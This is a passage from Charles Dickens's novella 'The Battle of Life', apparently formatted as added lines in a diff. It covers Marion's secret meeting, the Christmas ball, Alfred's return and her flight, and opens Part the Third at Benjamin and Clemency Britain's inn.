+good philosophy. I've my doubts about that: but it wears well, and saves
+a quantity of snarling, which the genuine article don't always."
+
+"See how you used to go on once, yourself, you know!" said Clemency.
+
+"Ah!" said Mr. Britain. "But the most extraordinary thing, Clemmy, is
+that I should live to be brought round, through you. That's the strange
+part of it. Through you! Why, I suppose you haven't so much as half an
+idea in your head."
+
+Clemency, without taking the least offence, shook it, and laughed, and
+hugged herself, and said, "No, she didn't suppose she had."
+
+"I'm pretty sure of it," said Mr. Britain.
+
+"Oh! I dare say you're right," said Clemency. "I don't pretend to none.
+I don't want any."
+
+Benjamin took his pipe from his lips, and laughed till the tears ran
+down his face. "What a natural you are, Clemmy!" he said, shaking
+his head, with an infinite relish of the joke, and wiping his eyes.
+Clemency, without the smallest inclination to dispute it, did the like,
+and laughed as heartily as he.
+
+"But I can't help liking you," said Mr. Britain; "you're a regular good
+creature in your way; so shake hands, Clem. Whatever happens, I'll
+always take notice of you, and be a friend to you."
+
+"Will you?" returned Clemency. "Well! that's very good of you."
+
+"Yes, yes," said Mr. Britain, giving her his pipe to knock the ashes out
+of; "I'll stand by you. Hark! That's a curious noise!"
+
+"Noise!" repeated Clemency.
+
+"A footstep outside. Somebody dropping from the wall, it sounded like,"
+said Britain. "Are they all abed up-stairs?"
+
+"Yes, all abed by this time," she replied.
+
+"Didn't you hear anything?"
+
+"No."
+
+They both listened, but heard nothing.
+
+"I tell you what," said Benjamin, taking down a lantern. "I'll have a
+look round before I go to bed myself, for satisfaction's sake. Undo the
+door while I light this, Clemmy."
+
+Clemency complied briskly; but observed as she did so, that he would
+only have his walk for his pains, that it was all his fancy, and so
+forth. Mr. Britain said 'very likely;' but sallied out, nevertheless,
+armed with the poker, and casting the light of the lantern far and near
+in all directions.
+
+"It's as quiet as a churchyard," said Clemency, looking after him; "and
+almost as ghostly too!"
+
+Glancing back into the kitchen, she cried fearfully, as a light figure
+stole into her view, "What's that!"
+
+"Hush!" said Marion, in an agitated whisper. "You have always loved me,
+have you not!"
+
+"Loved you, child! You may be sure I have."
+
+"I am sure. And I may trust you, may I not? There is no one else just
+now, in whom I _can_ trust."
+
+"Yes," said Clemency, with all her heart.
+
+"There is some one out there," pointing to the door, "whom I must see,
+and speak with, to-night. Michael Warden, for God's sake retire! Not
+now!"
+
+Clemency started with surprise and trouble as, following the direction
+of the speaker's eyes, she saw a dark figure standing in the doorway.
+
+"In another moment you may be discovered," said Marion. "Not now! Wait,
+if you can, in some concealment. I will come, presently."
+
+He waved his hand to her, and was gone.
+
+"Don't go to bed. Wait here for me!" said Marion, hurriedly. "I have
+been seeking to speak to you for an hour past. Oh, be true to me!"
+
+Eagerly seizing her bewildered hand, and pressing it with both her own
+to her breast--an action more expressive, in its passion of entreaty,
+than the most eloquent appeal in words,--Marion withdrew; as the light
+of the returning lantern flashed into the room.
+
+"All still and peaceable. Nobody there. Fancy, I suppose," said Mr.
+Britain, as he locked and barred the door. "One of the effects of having
+a lively imagination. Halloa! Why, what's the matter?"
+
+Clemency, who could not conceal the effects of her surprise and concern,
+was sitting in a chair: pale, and trembling from head to foot.
+
+"Matter!" she repeated, chafing her hands and elbows, nervously, and
+looking anywhere but at him. "That's good in you, Britain, that is!
+After going and frightening one out of one's life with noises, and
+lanterns, and I don't know what all. Matter! Oh, yes."
+
+"If you're frightened out of your life by a lantern, Clemmy," said Mr.
+Britain, composedly blowing it out and hanging it up again, "that
+apparition's very soon got rid of. But you're as bold as brass in
+general," he said, stopping to observe her; "and were, after the noise
+and the lantern too. What have you taken into your head? Not an idea,
+eh?"
+
+But as Clemency bade him good night very much after her usual fashion,
+and began to bustle about with a show of going to bed herself
+immediately, Little Britain, after giving utterance to the original
+remark that it was impossible to account for a woman's whims, bade her
+good night in return, and taking up his candle strolled drowsily away to
+bed.
+
+When all was quiet, Marion returned.
+
+"Open the door," she said; "and stand there close beside me, while I
+speak to him, outside."
+
+Timid as her manner was, it still evinced a resolute and settled
+purpose, such as Clemency could not resist. She softly unbarred the
+door: but before turning the key, looked round on the young creature
+waiting to issue forth when she should open it.
+
+The face was not averted or cast down, but looking full upon her, in
+its pride of youth and beauty. Some simple sense of the slightness of
+the barrier that interposed itself between the happy home and honoured
+love of the fair girl, and what might be the desolation of that home,
+and shipwreck of its dearest treasure, smote so keenly on the tender
+heart of Clemency, and so filled it to overflowing with sorrow and
+compassion, that, bursting into tears, she threw her arms round
+Marion's neck.
+
+"It's little that I know, my dear," cried Clemency, "very little; but I
+know that this should not be. Think of what you do!"
+
+"I have thought of it many times," said Marion, gently.
+
+"Once more," urged Clemency. "Till to-morrow."
+
+Marion shook her head.
+
+"For Mr. Alfred's sake," said Clemency, with homely earnestness. "Him
+that you used to love so dearly, once!"
+
+She hid her face, upon the instant, in her hands, repeating "Once!" as
+if it rent her heart.
+
+"Let me go out," said Clemency, soothing her. "I'll tell him what you
+like. Don't cross the door-step to-night. I'm sure no good will come of
+it. Oh, it was an unhappy day when Mr. Warden was ever brought here!
+Think of your good father, darling: of your sister."
+
+"I have," said Marion, hastily raising her head. "You don't know what I
+do. You don't know what I do. I _must_ speak to him. You are the best
+and truest friend in all the world for what you have said to me, but I
+must take this step. Will you go with me, Clemency," she kissed her on
+her friendly face, "or shall I go alone?"
+
+[Illustration]
+
+Sorrowing and wondering, Clemency turned the key, and opened the door.
+Into the dark and doubtful night that lay beyond the threshhold, Marion
+passed quickly, holding by her hand.
+
+In the dark night he joined her, and they spoke together earnestly and
+long: and the hand that held so fast by Clemency's, now trembled, now
+turned deadly cold, now clasped and closed on hers, in the strong
+feeling of the speech it emphasized unconsciously. When they returned,
+he followed to the door; and pausing there a moment, seized the other
+hand, and pressed it to his lips. Then stealthily withdrew.
+
+The door was barred and locked again, and once again she stood beneath
+her father's roof. Not bowed down by the secret that she brought there,
+though so young; but with that same expression on her face, for which I
+had no name before, and shining through her tears.
+
+Again she thanked and thanked her humble friend, and trusted to her, as
+she said, with confidence, implicitly. Her chamber safely reached, she
+fell upon her knees; and with her secret weighing on her heart, could
+pray!
+
+Could rise up from her prayers, so tranquil and serene, and bending over
+her fond sister in her slumber, look upon her face and smile: though
+sadly: murmuring as she kissed her forehead, how that Grace had been a
+mother to her, ever, and she loved her as a child!
+
+Could draw the passive arm about her neck when lying down to rest--it
+seemed to cling there, of its own will, protectingly and tenderly even
+in sleep--and breathe upon the parted lips, God bless her!
+
+Could sink into a peaceful sleep, herself; but for one dream, in which
+she cried out, in her innocent and touching voice, that she was quite
+alone, and they had all forgotten her.
+
+                 *       *       *       *       *
+
+A month soon passes, even at its tardiest pace. The month appointed to
+elapse between that night and the return, was quick of foot, and went
+by, like a vapour.
+
+The day arrived. A raging winter day, that shook the old house,
+sometimes, as if it shivered in the blast. A day to make home doubly
+home. To give the chimney corner new delights. To shed a ruddier glow
+upon the faces gathered round the hearth; and draw each fireside group
+into a closer and more social league, against the roaring elements
+without. Such a wild winter day as best prepares the way for shut-out
+night; for curtained rooms, and cheerful looks; for music, laughter,
+dancing, light, and jovial entertainment!
+
+All these the Doctor had in store to welcome Alfred back. They knew that
+he could not arrive till night; and they would make the night air ring,
+he said, as he approached. All his old friends should congregate about
+him. He should not miss a face that he had known and liked. No! They
+should every one be there!
+
+So, guests were bidden, and musicians were engaged, and tables spread,
+and floors prepared for active feet, and bountiful provision made, of
+every hospitable kind. Because it was the Christmas season, and his eyes
+were all unused to English holly, and its sturdy green, the dancing room
+was garlanded and hung with it; and the red berries gleamed an English
+welcome to him, peeping from among the leaves.
+
+It was a busy day for all of them: a busier day for none of them than
+Grace, who noiselessly presided everywhere, and was the cheerful mind of
+all the preparations. Many a time that day (as well as many a time
+within the fleeting month preceding it), did Clemency glance anxiously,
+and almost fearfully, at Marion. She saw her paler, perhaps, than usual;
+but there was a sweet composure on her face that made it lovelier than
+ever.
+
+At night when she was dressed, and wore upon her head a wreath that
+Grace had proudly twined about it--its mimic flowers were Alfred's
+favorites, as Grace remembered when she chose them--that old expression,
+pensive, almost sorrowful, and yet so spiritual, high, and stirring, sat
+again upon her brow, enhanced a hundred fold.
+
+"The next wreath I adjust on this fair head, will be a marriage wreath,"
+said Grace; "or I am no true prophet, dear."
+
+Her sister smiled, and held her in her arms.
+
+"A moment, Grace. Don't leave me yet. Are you sure that I want nothing
+more?"
+
+Her care was not for that. It was her sister's face she thought of, and
+her eyes were fixed upon it, tenderly.
+
+"My art," said Grace, "can go no farther, dear girl; nor your beauty. I
+never saw you look so beautiful as now."
+
+"I never was so happy," she returned.
+
+"Aye, but there is greater happiness in store. In such another home, as
+cheerful and as bright as this looks now," said Grace, "Alfred and his
+young wife will soon be living."
+
+She smiled again. "It is a happy home, Grace, in your fancy. I can see
+it in your eyes. I know it _will_ be happy, dear. How glad I am to know
+it."
+
+"Well," cried the Doctor, bustling in. "Here we are, all ready for
+Alfred, eh? He can't be here until pretty late--an hour or so before
+midnight--so there'll be plenty of time for making merry before he
+comes. He'll not find us with the ice unbroken. Pile up the fire here,
+Britain! Let it shine upon the holly till it winks again. It's a world
+of nonsense, Puss; true lovers and all the rest of it--all nonsense; but
+we'll be nonsensical with the rest of 'em, and give our true lover a mad
+welcome. Upon my word!" said the old Doctor, looking at his daughters
+proudly, "I'm not clear to-night, among other absurdities, but that I'm
+the father of two handsome girls."
+
+"All that one of them has ever done, or may do--may do, dearest
+father--to cause you pain or grief, forgive her," said Marion: "forgive
+her now, when her heart is full. Say that you forgive her. That you will
+forgive her. That she shall always share your love, and--," and the rest
+was not said, for her face was hidden on the old man's shoulder.
+
+"Tut, tut, tut," said the Doctor, gently. "Forgive! What have I to
+forgive? Heyday, if our true lovers come back to flurry us like this,
+we must hold 'em at a distance; we must send expresses out to stop 'em
+short upon the road, and bring 'em on a mile or two a day, until we're
+properly prepared to meet 'em. Kiss me, Puss. Forgive! Why, what a
+silly child you are. If you had vexed and crossed me fifty times
+a day, instead of not at all, I'd forgive you everything, but
+such a supplication. Kiss me again, Puss. There! Prospective and
+retrospective--a clear score between us. Pile up the fire here! Would
+you freeze the people on this bleak December night! Let us be light,
+and warm, and merry, or I'll not forgive some of you!"
+
+So gaily the old Doctor carried it! And the fire was piled up, and the
+lights were bright, and company arrived, and a murmuring of lively
+tongues began, and already there was a pleasant air of cheerful
+excitement stirring through all the house.
+
+More and more company came flocking in. Bright eyes sparkled upon
+Marion; smiling lips gave her joy of his return; sage mothers fanned
+themselves, and hoped she mightn't be too youthful and inconstant for
+the quiet round of home; impetuous fathers fell into disgrace, for too
+much exaltation of her beauty; daughters envied her; sons envied him;
+innumerable pairs of lovers profited by the occasion; all were
+interested, animated, and expectant.
+
+Mr. and Mrs. Craggs came arm in arm, but Mrs. Snitchey came alone. "Why,
+what's become of _him_?" inquired the Doctor.
+
+The feather of a Bird of Paradise in Mrs. Snitchey's turban, trembled as
+if the bird of Paradise were alive again, when she said that doubtless
+Mr. Craggs knew. _She_ was never told.
+
+"That nasty office," said Mrs. Craggs.
+
+"I wish it was burnt down," said Mrs. Snitchey.
+
+"He's--he's--there's a little matter of business that keeps my partner
+rather late," said Mr. Craggs, looking uneasily about him.
+
+"Oh--h! Business. Don't tell me!" said Mrs. Snitchey.
+
+"_We_ know what business means," said Mrs. Craggs.
+
+But their not knowing what it meant, was perhaps the reason why Mrs.
+Snitchey's Bird of Paradise feather quivered so portentously, and all
+the pendant bits on Mrs. Craggs's ear-rings shook like little bells.
+
+"I wonder _you_ could come away, Mr. Craggs," said his wife.
+
+"Mr. Craggs is fortunate, I'm sure!" said Mrs. Snitchey.
+
+"That office so engrosses 'em," said Mrs. Craggs.
+
+"A person with an office has no business to be married at all," said
+Mrs. Snitchey.
+
+Then Mrs. Snitchey said, within herself, that that look of hers had
+pierced to Craggs's soul, and he knew it: and Mrs. Craggs observed, to
+Craggs, that 'his Snitcheys' were deceiving him behind his back, and he
+would find it out when it was too late.
+
+Still, Mr. Craggs, without much heeding these remarks, looked uneasily
+about him until his eye rested on Grace, to whom he immediately
+presented himself.
+
+"Good evening, Ma'am," said Craggs. "You look charmingly.
+Your--Miss--your sister, Miss Marion, is she----"
+
+"Oh she's quite well, Mr. Craggs."
+
+"Yes--I--is she here?" asked Craggs.
+
+"Here! Don't you see her yonder? Going to dance?" said Grace.
+
+Mr. Craggs put on his spectacles to see the better; looked at her
+through them, for some time; coughed; and put them, with an air of
+satisfaction, in their sheath again, and in his pocket.
+
+Now the music struck up, and the dance commenced. The bright fire
+crackled and sparkled, rose and fell, as though it joined the dance
+itself, in right good fellowship. Sometimes it roared as if it would
+make music too. Sometimes it flashed and beamed as if it were the eye of
+the old room: it winked too, sometimes, like a knowing patriarch, upon
+the youthful whisperers in corners. Sometimes it sported with the
+holly-boughs; and, shining on the leaves by fits and starts, made them
+look as if they were in the cold winter night again, and fluttering in
+the wind. Sometimes its genial humour grew obstreperous, and passed all
+bounds; and then it cast into the room, among the twinkling feet, with a
+loud burst, a shower of harmless little sparks, and in its exultation
+leaped and bounded, like a mad thing, up the broad old chimney.
+
+Another dance was near its close, when Mr. Snitchey touched his partner,
+who was looking on, upon the arm.
+
+Mr. Craggs started, as if his familiar had been a spectre.
+
+"Is he gone?" he asked.
+
+"Hush! He has been with me," said Snitchey, "for three hours and more.
+He went over everything. He looked into all our arrangements for him,
+and was very particular indeed. He--Humph!"
+
+The dance was finished. Marion passed close before him, as he spoke.
+She did not observe him, or his partner; but looked over her shoulder
+towards her sister in the distance, as she slowly made her way into the
+crowd, and passed out of their view.
+
+"You see! All safe and well," said Mr. Craggs. "He didn't recur to that
+subject, I suppose?"
+
+"Not a word."
+
+"And is he really gone? Is he safe away?"
+
+"He keeps to his word. He drops down the river with the tide in that
+shell of a boat of his, and so goes out to sea on this dark night--a
+dare-devil he is--before the wind. There's no such lonely road anywhere
+else. That's one thing. The tide flows, he says, an hour before midnight
+about this time. I'm glad it's over." Mr. Snitchey wiped his forehead,
+which looked hot and anxious.
+
+"What do you think," said Mr. Craggs, "about--"
+
+"Hush!" replied his cautious partner, looking straight before him. "I
+understand you. Don't mention names, and don't let us seem to be talking
+secrets. I don't know what to think; and to tell you the truth, I don't
+care now. It's a great relief. His self-love deceived him, I suppose.
+Perhaps the young lady coquetted a little. The evidence would seem to
+point that way. Alfred not arrived?"
+
+"Not yet," said Mr. Craggs. "Expected every minute."
+
+"Good." Mr. Snitchey wiped his forehead again. "It's a great relief. I
+haven't been so nervous since we've been in partnership. I intend to
+spend the evening now, Mr. Craggs."
+
+Mrs. Craggs and Mrs. Snitchey joined them as he announced this
+intention. The Bird of Paradise was in a state of extreme vibration; and
+the little bells were ringing quite audibly.
+
+"It has been the theme of general comment, Mr. Snitchey," said Mrs.
+Snitchey. "I hope the office is satisfied."
+
+"Satisfied with what, my dear?" asked Mr. Snitchey.
+
+"With the exposure of a defenceless woman to ridicule and remark,"
+returned his wife. "That is quite in the way of the office, _that_ is."
+
+"I really, myself," said Mrs. Craggs, "have been so long accustomed to
+connect the office with everything opposed to domesticity, that I am
+glad to know it as the avowed enemy of my peace. There is something
+honest in that, at all events."
+
+"My dear," urged Mr. Craggs, "your good opinion is invaluable, but _I_
+never avowed that the office was the enemy of your peace."
+
+"No," said Mrs. Craggs, ringing a perfect peal upon the little bells.
+"Not you, indeed. You wouldn't be worthy of the office, if you had the
+candor to."
+
+"As to my having been away to-night, my dear," said Mr. Snitchey, giving
+her his arm, "the deprivation has been mine, I'm sure; but, as Mr.
+Craggs knows--"
+
+Mrs. Snitchey cut this reference very short by hitching her husband to
+a distance, and asking him to look at that man. To do her the favor to
+look at him.
+
+"At which man, my dear?" said Mr. Snitchey.
+
+"Your chosen companion; _I_'m no companion to you Mr. Snitchey."
+
+"Yes, yes, you are, my dear," he interposed.
+
+"No no, I'm not," said Mrs. Snitchey with a majestic smile. "I know my
+station. Will you look at your chosen companion, Mr. Snitchey; at your
+referee; at the keeper of your secrets; at the man you trust; at your
+other self, in short."
+
+The habitual association of Self with Craggs, occasioned Mr. Snitchey to
+look in that direction.
+
+"If you can look that man in the eye this night," said Mrs. Snitchey,
+"and not know that you are deluded, practised upon: made the victim of
+his arts, and bent down prostrate to his will, by some unaccountable
+fascination which it is impossible to explain, and against which no
+warning of mine is of the least avail: all I can say is--I pity you!"
+
+At the very same moment Mrs. Craggs was oracular on the cross subject.
+Was it possible she said, that Craggs could so blind himself to his
+Snitcheys, as not to feel his true position. Did he mean to say that he
+had seen his Snitcheys come into that room, and didn't plainly see that
+there was reservation, cunning, treachery in the man? Would he tell
+her that his very action, when he wiped his forehead and looked so
+stealthily about him, didn't show that there was something weighing on
+the conscience of his precious Snitcheys (if he had a conscience), that
+wouldn't bear the light. Did anybody but his Snitcheys come to festive
+entertainments like a burglar?--which, by the way, was hardly a clear
+illustration of the case, as he had walked in very mildly at the door.
+And would he still assert to her at noon-day (it being nearly midnight),
+that his Snitcheys were to be justified through thick and thin, against
+all facts, and reason, and experience?
+
+Neither Snitchey nor Craggs openly attempted to stem the current which
+had thus set in, but both were content to be carried gently along it,
+until its force abated; which happened at about the same time as a
+general movement for a country dance; when Mr. Snitchey proposed himself
+as a partner to Mrs. Craggs, and Mr. Craggs gallantly offered himself to
+Mrs. Snitchey; and after some such slight evasions as "why don't you ask
+somebody else?" and "you'll be glad, I know, if I decline," and "I
+wonder you can dance out of the office" (but this jocosely now), each
+lady graciously accepted, and took her place.
+
+It was an old custom among them, indeed, to do so, and to pair off, in
+like manner, at dinners and suppers; for they were excellent friends,
+and on a footing of easy familiarity. Perhaps the false Craggs and the
+wicked Snitchey were a recognised fiction with the two wives, as Doe
+and Roe, incessantly running up and down bailiwicks, were with the
+two husbands: or perhaps the ladies had instituted, and taken upon
+themselves, these two shares in the business, rather than be left out of
+it altogether. But certain it is, that each wife went as gravely and
+steadily to work in her vocation as her husband did in his: and would
+have considered it almost impossible for the Firm to maintain a
+successful and respectable existence, without her laudable exertions.
+
+But now the Bird of Paradise was seen to flutter down the middle; and
+the little bells began to bounce and jingle in poussette; and the
+Doctor's rosy face spun round and round, like an expressive pegtop
+highly varnished; and breathless Mr. Craggs began to doubt already,
+whether country dancing had been made "too easy," like the rest of life;
+and Mr. Snitchey, with his nimble cuts and capers, footed it for Self,
+and Craggs, and half a dozen more.
+
+Now, too, the fire took fresh courage, favored by the lively wind the
+dance awakened, and burnt clear and high. It was the Genius of the room,
+and present everywhere. It shone in people's eyes, it sparkled in the
+jewels on the snowy necks of girls, it twinkled at their ears as if it
+whispered to them slyly, it flashed about their waists, it flickered on
+the ground and made it rosy for their feet, it bloomed upon the ceiling
+that its glow might set off their bright faces, and it kindled up a
+general illumination in Mrs. Craggs's little belfry.
+
+Now, too, the lively air that fanned it, grew less gentle as the music
+quickened and the dance proceeded with new spirit; and a breeze arose
+that made the leaves and berries dance upon the wall, as they had often
+done upon the trees; and rustled in the room as if an invisible company
+of fairies, treading in the footsteps of the good substantial revellers,
+were whirling after them. Now, too, no feature of the Doctor's face
+could be distinguished as he spun and spun; and now there seemed a dozen
+Birds of Paradise in fitful flight; and now there were a thousand little
+bells at work; and now a fleet of flying skirts was ruffled by a little
+tempest; when the music gave in, and the dance was over.
+
+[Illustration]
+
+Hot and breathless as the Doctor was, it only made him the more
+impatient for Alfred's coming.
+
+"Anything been seen, Britain? Anything been heard?"
+
+"Too dark to see far, Sir. Too much noise inside the house to hear."
+
+"That's right! The gayer welcome for him. How goes the time?"
+
+"Just twelve, Sir. He can't be long, Sir."
+
+"Stir up the fire, and throw another log upon it," said the Doctor. "Let
+him see his welcome blazing out upon the night--good boy!--as he comes
+along!"
+
+He saw it--Yes! From the chaise he caught the light, as he turned the
+corner by the old church. He knew the room from which it shone. He saw
+the wintry branches of the old trees between the light and him. He knew
+that one of those trees rustled musically in the summer time at the
+window of Marion's chamber.
+
+The tears were in his eyes. His heart throbbed so violently that he
+could hardly bear his happiness. How often he had thought of this
+time--pictured it under all circumstances--feared that it might never
+come--yearned, and wearied for it--far away!
+
+Again the light! Distinct and ruddy; kindled, he knew, to give him
+welcome, and to speed him home. He beckoned with his hand, and waved his
+hat, and cheered out, loud, as if the light were they, and they could
+see and hear him, as he dashed towards them through the mud and mire,
+triumphantly.
+
+"Stop!" He knew the Doctor, and understood what he had done. He would
+not let it be a surprise to them. But he could make it one, yet, by
+going forward on foot. If the orchard gate were open, he could enter
+there; if not, the wall was easily climbed, as he knew of old; and he
+would be among them in an instant.
+
+He dismounted from the chaise, and telling the driver--even that was not
+easy in his agitation--to remain behind for a few minutes, and then to
+follow slowly, ran on with exceeding swiftness, tried the gate, scaled
+the wall, jumped down on the other side, and stood panting in the old
+orchard.
+
+There was a frosty rime upon the trees, which, in the faint light of
+the clouded moon, hung upon the smaller branches like dead garlands.
+Withered leaves crackled and snapped beneath his feet, as he crept
+softly on towards the house. The desolation of a winter night sat
+brooding on the earth, and in the sky. But the red light came cheerily
+towards him from the windows: figures passed and repassed there: and the
+hum and murmur of voices greeted his ear, sweetly.
+
+Listening for hers: attempting, as he crept on, to detach it from the
+rest, and half-believing that he heard it: he had nearly reached the
+door, when it was abruptly opened, and a figure coming out encountered
+his. It instantly recoiled with a half-suppressed cry.
+
+"Clemency," he said, "don't you know me?"
+
+"Don't come in," she answered, pushing him back. "Go away. Don't ask me
+why. Don't come in."
+
+"What is the matter?" he exclaimed.
+
+"I don't know. I--I am afraid to think. Go back. Hark!"
+
+There was a sudden tumult in the house. She put her hands upon her ears.
+A wild scream, such as no hands could shut out, was heard; and
+Grace--distraction in her looks and manner--rushed out at the door.
+
+"Grace!" He caught her in his arms. "What is it! Is she dead!"
+
+She disengaged herself, as if to recognise his face, and fell down at
+his feet.
+
+A crowd of figures came about them from the house. Among them was her
+father, with a paper in his hand.
+
+"What is it!" cried Alfred, grasping his hair with his hands, and
+looking in an agony from face to face, as he bent upon his knee, beside
+the insensible girl. "Will no one look at me? Will no one speak to me?
+Does no one know me? Is there no voice among you all, to tell me what it
+is!"
+
+There was a murmur among them. "She is gone."
+
+"Gone!" he echoed.
+
+"Fled, my dear Alfred!" said the Doctor, in a broken voice, and with his
+hands before his face. "Gone from her home and us. To-night! She writes
+that she has made her innocent and blameless choice--entreats that we
+will forgive her--prays that we will not forget her--and is gone."
+
+"With whom? Where?"
+
+He started up as if to follow in pursuit, but when they gave way to let
+him pass, looked wildly round upon them, staggered back, and sunk down
+in his former attitude, clasping one of Grace's cold hands in his own.
+
+There was a hurried running to and fro, confusion, noise, disorder, and
+no purpose. Some proceeded to disperse themselves about the roads, and
+some took horse, and some got lights, and some conversed together,
+urging that there was no trace or track to follow. Some approached him
+kindly, with the view of offering consolation; some admonished him that
+Grace must be removed into the house, and he prevented it. He never
+heard them, and he never moved.
+
+The snow fell fast and thick. He looked up for a moment in the air, and
+thought that those white ashes strewn upon his hopes and misery, were
+suited to them well. He looked round on the whitening ground, and
+thought how Marion's foot-prints would be hushed and covered up, as soon
+as made, and even that remembrance of her blotted out. But he never felt
+the weather, and he never stirred.
+
+
+
+
+PART THE THIRD.
+
+
+
+
+[Illustration]
+
+PART THE THIRD
+
+
+[Illustration]
+
+The world had grown six years older since that night of the return. It
+was a warm autumn afternoon, and there had been heavy rain.
+
+The sun burst suddenly from among the clouds: and the old battle-ground,
+sparkling brilliantly and cheerfully at sight of it in one green place,
+flashed a responsive welcome there, which spread along the country side
+as if a joyful beacon had been lighted up, and answered from a thousand
+stations.
+
+How beautiful the landscape kindling in the light, and that luxuriant
+influence passing on like a celestial presence, brightening everything!
+The wood, a sombre mass before, revealed its varied tints of yellow,
+green, brown, red; its different forms of trees, with raindrops
+glittering on their leaves and twinkling as they fell. The verdant
+meadow-land, bright and glowing, seemed as if it had been blind a minute
+since, and now had found a sense of sight wherewith to look up at the
+shining sky. Corn-fields, hedge-rows, fences, homesteads, the clustered
+roofs, the steeple of the church, the stream, the watermill, all sprung
+out of the gloomy darkness, smiling. Birds sang sweetly, flowers raised
+their drooping heads, fresh scents arose from the invigorated ground;
+the blue expanse above, extended and diffused itself; already the sun's
+slanting rays pierced mortally the sullen bank of cloud that lingered
+in its flight; and a rainbow, spirit of all the colors that adorned the
+earth and sky, spanned the whole arch with its triumphant glory.
+
+At such a time, one little roadside Inn, snugly sheltered behind a
+great elm-tree with a rare seat for idlers encircling its capacious
+bole, addressed a cheerful front towards the traveller, as a house of
+entertainment ought, and tempted him with many mute but significant
+assurances of a comfortable welcome. The ruddy sign-board perched up
+in the tree, with its golden letters winking in the sun, ogled the
+passer-by from among the green leaves, like a jolly face, and promised
+good cheer. The horse-trough, full of clear fresh water, and the ground
+below it, sprinkled with droppings of fragrant hay, made every horse
+that passed prick up his ears. The crimson curtains in the lower rooms,
+and the pure white hangings in the little bed-chambers above, beckoned,
+Come in! with every breath of air. Upon the bright green shutters, there
+were golden legends about beer and ale, and neat wines, and good beds;
+and an affecting picture of a brown jug frothing over at the top. Upon
+the window-sills were flowering plants in bright red pots, which made a
+lively show against the white front of the house; and in the darkness of
+the doorway there were streaks of light, which glanced off from the
+surfaces of bottles and tankards.
+
+On the door-step, appeared a proper figure of a landlord, too; for
+though he was a short man, he was round and broad; and stood with his
+hands in his pockets, and his legs just wide enough apart to express a
+mind at rest upon the subject of the cellar, and an easy confidence--too
+calm and virtuous to become a swagger--in the general resources of the
+Inn. The superabundant moisture, trickling from everything after the
+late rain, set him off well. Nothing near him was thirsty. Certain
+top-heavy dahlias, looking over the palings of his neat well-ordered
+garden, had swilled as much as they could carry--perhaps a trifle
+more--and may have been the worse for liquor; but the sweetbriar, roses,
+wall-flowers, the plants at the windows, and the leaves on the old tree,
+were in the beaming state of moderate company that had taken no more
+than was wholesome for them, and had served to develope their best
+qualities. Sprinkling dewy drops about them on the ground, they seemed
+profuse of innocent and sparkling mirth, that did good where it lighted,
+softening neglected corners which the steady rain could seldom reach,
+and hurting nothing.
+
+[Illustration]
+
+This village Inn had assumed, on being established, an uncommon sign. It
+was called The Nutmeg Grater. And underneath that household word, was
+inscribed, up in the tree, on the same flaming board, and in the like
+golden characters, By Benjamin Britain.
+
+At a second glance, and on a more minute examination of his face, you
+might have known that it was no other than Benjamin Britain himself who
+stood in the doorway--reasonably changed by time, but for the better; a
+very comfortable host indeed.
+
+"Mrs. B.," said Mr. Britain, looking down the road, "is rather late.
+It's tea time."
+
+As there was no Mrs. Britain coming, he strolled leisurely out into the
+road and looked up at the house, very much to his satisfaction. "It's
+just the sort of house," said Benjamin, "I should wish to stop at, if I
+didn't keep it."
+
+Then he strolled towards the garden paling, and took a look at the
+dahlias. They looked over at him, with a helpless, drowsy hanging of
+their heads: which bobbed again, as the heavy drops of wet dripped off
+them.
+
+"You must be looked after," said Benjamin. "Memorandum, not to forget
+to tell her so. She's a long time coming!"
+
+Mr. Britain's better half seemed to be by so very much his better half,
+that his own moiety of himself was utterly cast away and helpless
+without her.
+
+"She hadn't much to do, I think," said Ben. "There were a few little
+matters of business after market, but not many. Oh! here we are at
+last!"
+
+A chaise-cart, driven by a boy, came clattering along the road: and
+seated in it, in a chair, with a large well-saturated umbrella spread
+out to dry behind her, was the plump figure of a matronly woman, with
+her bare arms folded across a basket which she carried on her knee,
+several other baskets and parcels lying crowded about her, and a certain
+bright good-nature in her face and contented awkwardness in her manner,
+as she jogged to and fro with the motion of her carriage, which smacked
+of old times, even in the distance. Upon her nearer approach, this
+relish of bygone days was not diminished; and when the cart stopped
+at the Nutmeg Grater door, a pair of shoes, alighting from it,
+slipped nimbly through Mr. Britain's open arms, and came down with a
+substantial weight upon the pathway, which shoes could hardly have
+belonged to any one but Clemency Newcome.
+
+In fact they did belong to her, and she stood in them, and a rosy
+comfortable-looking soul she was: with as much soap on her glossy face
+as in times of yore, but with whole elbows now, that had grown quite
+dimpled in her improved condition.
+
+"You're late, Clemmy!" said Mr. Britain.
+
+"Why, you see, Ben, I've had a deal to do!" she replied, looking busily
+after the safe removal into the house of all the packages and baskets;
+"eight, nine, ten--where's eleven? Oh! my baskets, eleven! It's all
+right. Put the horse up, Harry, and if he coughs again give him a warm
+mash to-night. Eight, nine, ten. Why, where's eleven? Oh I forgot, it's
+all right. How's the children, Ben?"
+
+"Hearty, Clemmy, hearty."
+
+"Bless their precious faces!" said Mrs. Britain, unbonneting her own
+round countenance (for she and her husband were by this time in the
+bar), and smoothing her hair with her open hands. "Give us a kiss, old
+man."
+
+Mr. Britain promptly complied.
+
+"I think," said Mrs. Britain, applying herself to her pockets and
+drawing forth an immense bulk of thin books and crumpled papers,
+a very kennel of dogs' ears: "I've done everything. Bills all
+settled--turnips sold--brewer's account looked into and paid--'bacco
+pipes ordered--seventeen pound four paid into the Bank--Doctor
+Heathfield's charge for little Clem--you'll guess what that is--Doctor
+Heathfield won't take nothing again, Ben."
+
+"I thought he wouldn't," returned Britain.
+
+"No. He says whatever family you was to have, Ben, he'd never put you to
+the cost of a halfpenny. Not if you was to have twenty."
+
+Mr. Britain's face assumed a serious expression, and he looked hard at
+the wall.
+
+"A'nt it kind of him?" said Clemency.
+
+"Very," returned Mr. Britain. "It's the sort of kindness that I wouldn't
+presume upon, on any account."
+
+"No," retorted Clemency. "Of course not. Then there's the pony--he
+fetched eight pound two; and that a'nt bad, is it?"
+
+"It's very good," said Ben.
+
+"I'm glad you're pleased!" exclaimed his wife. "I thought you would be;
+and I think that's all, and so no more at present from yours and cetrer,
+C. Britain. Ha ha ha! There! Take all the papers, and lock 'em. Oh! Wait
+a minute. Here's a printed bill to stick on the wall. Wet from the
+printer's. How nice it smells!"
+
+"What's this?" said Ben, looking over the document.
+
+"I don't know," replied his wife. "I haven't read a word of it."
+
+"'To be sold by Auction,'" read the host of the Nutmeg Grater, "'unless
+previously disposed of by private contract.'"
+
+"They always put that," said Clemency.
+
+"Yes, but they don't always put this," he returned. "Look here,
